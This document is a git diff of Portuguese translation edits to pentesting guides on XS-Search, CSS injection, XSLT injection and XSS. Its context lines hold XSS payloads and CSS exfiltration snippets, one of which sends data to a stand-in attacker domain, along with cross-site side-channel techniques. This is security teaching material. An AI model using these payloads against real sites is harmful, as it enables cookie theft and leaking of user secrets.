+Se você puder de alguma forma definir cookies para um usuário, também pode realizar esse ataque **definindo cookies suficientes** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) para que, com o **tamanho da resposta aumentada** da **resposta correta**, um **erro** seja acionado. Nesse caso, lembre-se de que, se você disparar essa solicitação de um mesmo site, `<script>` enviará automaticamente os cookies (para que você possa verificar erros).\
 Um exemplo de **cookie bomb + XS-Search** pode ser encontrado na solução pretendida deste relatório: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
-`SameSite=None` ou estar no mesmo contexto geralmente é necessário para esse tipo de ataque.
+`SameSite=None` ou estar no mesmo contexto é geralmente necessário para esse tipo de ataque.
 
 ### Comprimento Máximo da URL - Lado do Cliente
 
@@ -603,13 +603,13 @@ Um exemplo de **cookie bomb + XS-Search** pode ser encontrado na solução prete
 
 De acordo com a [documentação do Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), o comprimento máximo da URL do Chrome é 2MB.
 
-> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). O _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação entre processos.
+> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação interprocessual.
 
 Portanto, se a **URL de redirecionamento respondida for maior em um dos casos**, é possível fazê-la redirecionar com uma **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
 
 A **diferença notável** é que, se o **redirecionamento** foi **concluído**, `window.origin` gera um **erro** porque uma origem cruzada não pode acessar essa informação. No entanto, se o **limite** foi \*\*\*\* atingido e a página carregada foi **`about:blank#blocked`**, a **origem** da janela permanece a do **pai**, que é uma **informação acessível.**
 
-Todas as informações extras necessárias para atingir os **2MB** podem ser adicionadas via um **hash** na URL inicial para que sejam **usadas no redirecionamento**.
+Todas as informações extras necessárias para alcançar os **2MB** podem ser adicionadas via um **hash** na URL inicial para que sejam **usadas no redirecionamento**.
 
 {{#ref}}
 url-max-length-client-side.md
@@ -672,7 +672,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
 Contar o **número de frames em uma web** aberta via `iframe` ou `window.open` pode ajudar a identificar o **status do usuário naquela página**.\
 Além disso, se a página tiver sempre o mesmo número de frames, verificar **continuamente** o número de frames pode ajudar a identificar um **padrão** que pode vazar informações.
 
-Um exemplo dessa técnica é que no Chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Parâmetros de URL Abertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permitem algum controle sobre o conteúdo, como `zoom`, `view`, `page`, `toolbar`, onde essa técnica pode ser interessante.
+Um exemplo dessa técnica é que no chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Parâmetros de URL Abertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permitem algum controle sobre o conteúdo, como `zoom`, `view`, `page`, `toolbar`, onde essa técnica pode ser interessante.
 
 ### Elementos HTML
 
@@ -687,7 +687,7 @@ O vazamento de informações através de elementos HTML é uma preocupação na
 ### Informações Expostas por Elementos HTML
 
 - **HTMLMediaElement**: Este elemento revela a `duração` e os tempos `buffered` da mídia, que podem ser acessados através de sua API. [Leia mais sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
-- **HTMLVideoElement**: Expõe `videoHeight` e `videoWidth`. Em alguns navegadores, propriedades adicionais como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount` estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. [Leia mais sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
+- **HTMLVideoElement**: Ele expõe `videoHeight` e `videoWidth`. Em alguns navegadores, propriedades adicionais como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount` estão disponíveis, oferecendo informações mais detalhadas sobre o conteúdo da mídia. [Leia mais sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
 - **getVideoPlaybackQuality()**: Esta função fornece detalhes sobre a qualidade da reprodução de vídeo, incluindo `totalVideoFrames`, que pode indicar a quantidade de dados de vídeo processados. [Leia mais sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
 - **HTMLImageElement**: Este elemento vaza a `altura` e a `largura` de uma imagem. No entanto, se uma imagem for inválida, essas propriedades retornarão 0, e a função `image.decode()` será rejeitada, indicando a falha ao carregar a imagem corretamente. [Leia mais sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
@@ -711,7 +711,7 @@ Como uma técnica de vazamento, o atacante pode usar o método `window.getComput
 - **Exemplo de Código**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
 
 > [!NOTE]
-> De acordo com [**isto**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), isso não funciona no Chrome sem cabeça.
+> De acordo com [**isso**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), isso não funciona no Chrome sem cabeça.
 
 O seletor CSS `:visited` é utilizado para estilizar URLs de forma diferente se já foram visitadas anteriormente pelo usuário. No passado, o método `getComputedStyle()` poderia ser empregado para identificar essas diferenças de estilo. No entanto, navegadores modernos implementaram medidas de segurança para impedir que esse método revele o estado de um link. Essas medidas incluem sempre retornar o estilo computado como se o link tivesse sido visitado e restringir os estilos que podem ser aplicados com o seletor `:visited`.
 
@@ -766,10 +766,10 @@ Em cenários onde apenas usuários logados podem acionar tais downloads, essas t
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> É por isso que essa técnica é interessante: o Chrome agora tem **particionamento de cache**, e a chave de cache da nova página aberta é: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, a **chave de cache é diferente**, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: [Ganhando segurança e privacidade ao particionar o cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> É por isso que essa técnica é interessante: o Chrome agora tem **particionamento de cache**, e a chave de cache da nova página aberta é: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, mas se eu abrir uma página ngrok e usar fetch nela, a chave de cache será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, a **chave de cache é diferente**, então o cache não pode ser compartilhado. Você pode encontrar mais detalhes aqui: [Ganhando segurança e privacidade ao particionar o cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Comentário de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
-Se um site `example.com` incluir um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta de _eTLD+1_ de nível superior e _eTLD+1_ de frame.
+Se um site `example.com` inclui um recurso de `*.example.com/resource`, então esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado através de navegação de nível superior**. Isso ocorre porque a chave de cache é composta pelo _eTLD+1_ de nível superior e pelo _eTLD+1_ do frame.
 
 Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar mudar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a parada, isso significa que o recurso foi armazenado em cache.\
 Ou poderia apenas **enviar algum fetch para a página potencialmente armazenada em cache e medir o tempo que leva**.
@@ -810,12 +810,12 @@ Use _**fetch**_ e _**setTimeout**_ com um **AbortController** para detectar se o
 - **Resumo:** Meça o tempo de execução de uma web usando service workers.
 - **Exemplo de Código**:
 
-No cenário dado, o atacante toma a iniciativa de registrar um **service worker** em um de seus domínios, especificamente "attacker.com". Em seguida, o atacante abre uma nova janela no site alvo a partir do documento principal e instrui o **service worker** a iniciar um temporizador. À medida que a nova janela começa a carregar, o atacante navega a referência obtida na etapa anterior para uma página gerenciada pelo **service worker**.
+No cenário dado, o atacante toma a iniciativa de registrar um **service worker** em um de seus domínios, especificamente "attacker.com". Em seguida, o atacante abre uma nova janela no site alvo a partir do documento principal e instrui o **service worker** a iniciar um temporizador. À medida que a nova janela começa a carregar, o atacante navega para a referência obtida na etapa anterior para uma página gerenciada pelo **service worker**.
 
 Ao chegar a solicitação iniciada na etapa anterior, o **service worker** responde com um código de status **204 (Sem Conteúdo)**, efetivamente encerrando o processo de navegação. Neste ponto, o **service worker** captura uma medição do temporizador iniciado anteriormente na etapa dois. Essa medição é influenciada pela duração do JavaScript que causa atrasos no processo de navegação.
 
 > [!WARNING]
-> Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
+> Em uma medição de tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
 ### Tempo de Fetch
 
@@ -825,7 +825,7 @@ Ao chegar a solicitação iniciada na etapa anterior, o **service worker** respo
 - **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar uma solicitação. Outros relógios podem ser usados.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
 
-### Tempo de Janela Cruzada
+### Tempo entre Janelas
 
 - **Métodos de Inclusão**: Pop-ups
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
@@ -853,7 +853,7 @@ No entanto, se por qualquer motivo você **DEVE** fazê-lo **caractere por carac
 ```html
 <img src=/something loading=lazy >
 ```
-Portanto, o que você pode fazer é **adicionar muitos caracteres lixo** (Por exemplo, **milhares de "W"s**) para **preencher a página da web antes do segredo ou adicionar algo como** `<br><canvas height="1850px"></canvas><br>.`\
+Portanto, o que você pode fazer é **adicionar muitos caracteres lixo** (por exemplo, **milhares de "W"s**) para **preencher a página da web antes do segredo ou adicionar algo como** `<br><canvas height="1850px"></canvas><br>.`\
 Então, se por exemplo nossa **injeção aparecer antes da bandeira**, a **imagem** seria **carregada**, mas se aparecer **depois** da **bandeira**, a bandeira + o lixo **impedirão que ela seja carregada** (você precisará brincar com a quantidade de lixo a ser colocada). Isso é o que aconteceu em [**este writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
 
 Outra opção seria usar o **scroll-to-text-fragment** se permitido:

src/pentesting-web/xs-search/connection-pool-by-destination-example.md

@@ -16,7 +16,7 @@ Vamos ver como este exploit funciona:
 - Se o tempo for **maior**, a **injeção** estava na **nota** deixada, se o tempo for **menor**, a **flag** estava lá.
 
 > [!NOTE]
-> Para ser sincero, lendo o script, senti falta de alguma parte onde o **atacante faz o bot carregar a página para acionar as tags img**, não vejo nada assim no código.
+> Para ser sincero, lendo o script eu perdi alguma parte onde o **atacante faz o bot carregar a página para acionar as tags img**, não vejo nada assim no código.
 ```html
 <html>
 <head>

src/pentesting-web/xs-search/css-injection/README.md

@@ -52,13 +52,13 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Combinando isso com a seguinte técnica de **@import**, é possível exfiltrar uma grande quantidade de **info usando CSS injection de páginas blindas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
+Combinando isso com a seguinte técnica de **@import**, é possível exfiltrar uma grande quantidade de **info usando injeção de CSS de páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
 
 ### @import
 
-A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção de CSS**.
+A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção de CSS**.
 
-No entanto, existe outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
+No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
 
 Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funciona assim:
 
@@ -71,7 +71,7 @@ Em vez de carregar a mesma página repetidamente com dezenas de diferentes paylo
 1. O servidor dos atacantes não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e então responder a esta importação com a carga útil para vazar os próximos.
 3. A segunda e maior parte da carga útil será um **payload de vazamento de seletor de atributo**
 1. Isso enviará ao servidor dos atacantes o **primeiro caractere do segredo e o último**
-4. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e último caractere do segredo**, ele **responderá à importação solicitada no passo 2**.
+4. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e último caractere do segredo**, ele irá **responder a importação solicitada no passo 2**.
 1. A resposta será exatamente a mesma que os **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e então o penúltimo**.
 
 O atacante **seguirá esse loop até conseguir vazar completamente o segredo**.
@@ -101,10 +101,10 @@ Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui*
 
 ### Outros seletores
 
-Outras maneiras de acessar partes do DOM com **seletor CSS**:
+Outras maneiras de acessar partes do DOM com **seletores CSS**:
 
 - **`.class-to-search:nth-child(2)`**: Isso irá buscar o segundo item com a classe "class-to-search" no DOM.
-- Seletor **`:empty`**: Usado, por exemplo, em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+- **`:empty`** seletor: Usado por exemplo em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -116,7 +116,7 @@ background-image: url("YOUR_SERVER_URL?1");
 
 **Referência:** [Ataque baseado em CSS: Abusando unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search baseado em erro por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-A intenção geral é **usar uma fonte personalizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com essa fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
+A intenção geral é **usar uma fonte personalizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com esta fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
 ```html
 <!DOCTYPE html>
 <html>
@@ -160,7 +160,7 @@ Uma preocupação de segurança surge quando atacantes exploram o recurso **Scro
 content: url(target.png);
 }
 ```
-Em tais cenários, se o texto "Administrator" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Um exemplo deste ataque pode ser executado através de uma URL especialmente elaborada que incorpora o CSS injetado junto com um fragmento Scroll-to-text:
+Em tais cenários, se o texto "Administrator" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância deste ataque pode ser executada através de uma URL especialmente elaborada que incorpora o CSS injetado juntamente com um fragmento Scroll-to-text:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
@@ -170,7 +170,7 @@ Para mitigação, os seguintes pontos devem ser observados:
 
 1. **Correspondência STTF Constrangida**: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.
 2. **Restrição a Contextos de Navegação de Nível Superior**: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.
-3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas através de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog aponta condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
+3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog aponta condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
 
 A conscientização sobre esses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias como essas.
 
@@ -706,11 +706,11 @@ div::-webkit-scrollbar:vertical {
 background: blue var(--leak);
 }
 ```
-### Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao ocultar elementos (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao esconder elementos (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer **chars específicos maiores que outros é ocultar algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.
+Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer **chars específicos maiores que outros é esconder algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.
 
 ### Exfiltração de nó de texto (III): vazando o charset por tempo de cache (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 

src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Em [**este exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mistura a técnica de **canal lateral de imagem preguiçosa** através de uma injeção de HTML com uma espécie de **técnica de bloqueio de loop de eventos** para vazar caracteres.
+Em [**este exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mistura a técnica de **lazy image side channel** através de uma injeção de HTML com uma espécie de técnica de **event loop blocking** para vazar caracteres.
 
 Este é um **exploit diferente para o desafio CTF** que já foi comentado na página seguinte. dê uma olhada para mais informações sobre o desafio:
 

src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md

@@ -214,7 +214,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
 <xsl:value-of select="php:function('readdir')"/> -
 </xsl:template></xsl:stylesheet>
 ```
-### **Afirmar (var_dump + scandir + false)**
+### **Afirmar (var_dump + scandir + falso)**
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
@@ -344,7 +344,7 @@ xmlns:php="http://php.net/xsl" >
 </body>
 </html>
 ```
-Execute código usando outras estruturas no PDF
+Execute código usando outros frameworks no PDF
 
 ### **Mais Linguagens**
 

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -116,7 +116,7 @@ Você também pode tentar **disparar funções Javascript** diretamente: `obj.sa
 
 No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.
 
-Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, a exploração **Same Origin Method Execution (SOME)** foi desenvolvida:
+Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, a exploração de **Same Origin Method Execution (SOME)** foi desenvolvida:
 
 {{#ref}}
 some-same-origin-method-execution.md
@@ -145,15 +145,15 @@ server-side-xss-dynamic-pdf.md
 
 ## Bypass de WAF codificando imagem
 
-![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
+![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
 ## Injetando dentro do HTML bruto
 
-Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se está sendo **codificado em HTML** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
+Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **HTML codificado** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
 Para esses casos, também **tenha em mente** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 &#xNAN;_**Nota: Um comentário HTML pode ser fechado usando\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*ou \*\*\*\*\*\***`--!>`\*\**_
 
-Neste caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
+Neste caso, e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
 ```html
 <script>
 alert(1)
@@ -170,7 +170,7 @@ Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
 
 ### Tags personalizadas
 
-Se você não encontrou nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar naquele objeto** e **executar** o código:
+Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar naquele objeto** e **executar** o código:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
@@ -226,7 +226,7 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Bypass de comprimento (pequenos XSSs)
+### Bypass de comprimento (pequenos XSS)
 
 > [!NOTE] > **Mais pequenos XSS para diferentes ambientes** payload [**pode ser encontrado aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
 ```html
@@ -267,7 +267,7 @@ Se você **não conseguir escapar da tag**, você pode criar novos atributos den
 ```
 ### Dentro do atributo
 
-Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou deletado), dependendo de **qual atributo** seu valor está sendo refletido em **se você controla todo o valor ou apenas uma parte** você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
+Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou deletado), dependendo de **qual atributo** seu valor está sendo refletido em **se você controla todo o valor ou apenas uma parte** você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=` você poderá fazer com que ele execute código arbitrário quando for clicado.\
 Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
 
 **Bypass dentro do evento usando codificação HTML/codificação URL**
@@ -351,7 +351,7 @@ _**Neste caso, a codificação HTML e o truque de codificação Unicode da seç
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Além disso, há outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspa simples** e você perceber que **está sendo codificada em URL**, lembre-se de que **não importa,** ela será **interpretada** como uma **aspa simples** durante o tempo de **execução**.
+Além disso, há outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspa simples** e perceber que **está sendo codificada em URL**, lembre-se de que **não importa,** ela será **interpretada** como uma **aspa simples** durante o tempo de **execução**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@@ -377,7 +377,7 @@ Você pode usar **Hex** e **Octal encode** dentro do atributo `src` de `iframe`
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank"` e `rel="opener"`**, verifique a **página seguinte para explorar esse comportamento**:
+Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank" e rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
 
 {{#ref}}
 ../reverse-tab-nabbing.md
@@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
 ```
 ### XSS em "Tags não exploráveis" (input oculto, link, canônico, meta)
 
-A partir de [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:**
+De [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@@ -430,7 +430,7 @@ A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fiel
 
 ### Bypasses de Blacklist
 
-Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte **para aprender onde você pode usar:**
+Vários truques com diferentes codificações já foram expostos nesta seção. Volte **para aprender onde você pode usar:**
 
 - **Codificação HTML (tags HTML)**
 - **Codificação Unicode (pode ser código JS válido):** `\u0061lert(1)`
@@ -468,11 +468,11 @@ Esse truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-
 
 ## Injetando dentro do código JavaScript
 
-Nestes casos, sua **entrada** vai ser **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
+Nestes casos, sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
 
 ### Escapando a tag \<script>
 
-Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você poderia facilmente **escapar fechando a tag `<script>`**:
+Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
@@ -825,9 +825,9 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS com injeção de cabeçalho em uma resposta 302
 
-Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
+Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas uma carga útil de cross-site scripting é inútil.
 
-Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
+Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil de XSS dentro do corpo.\
 Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
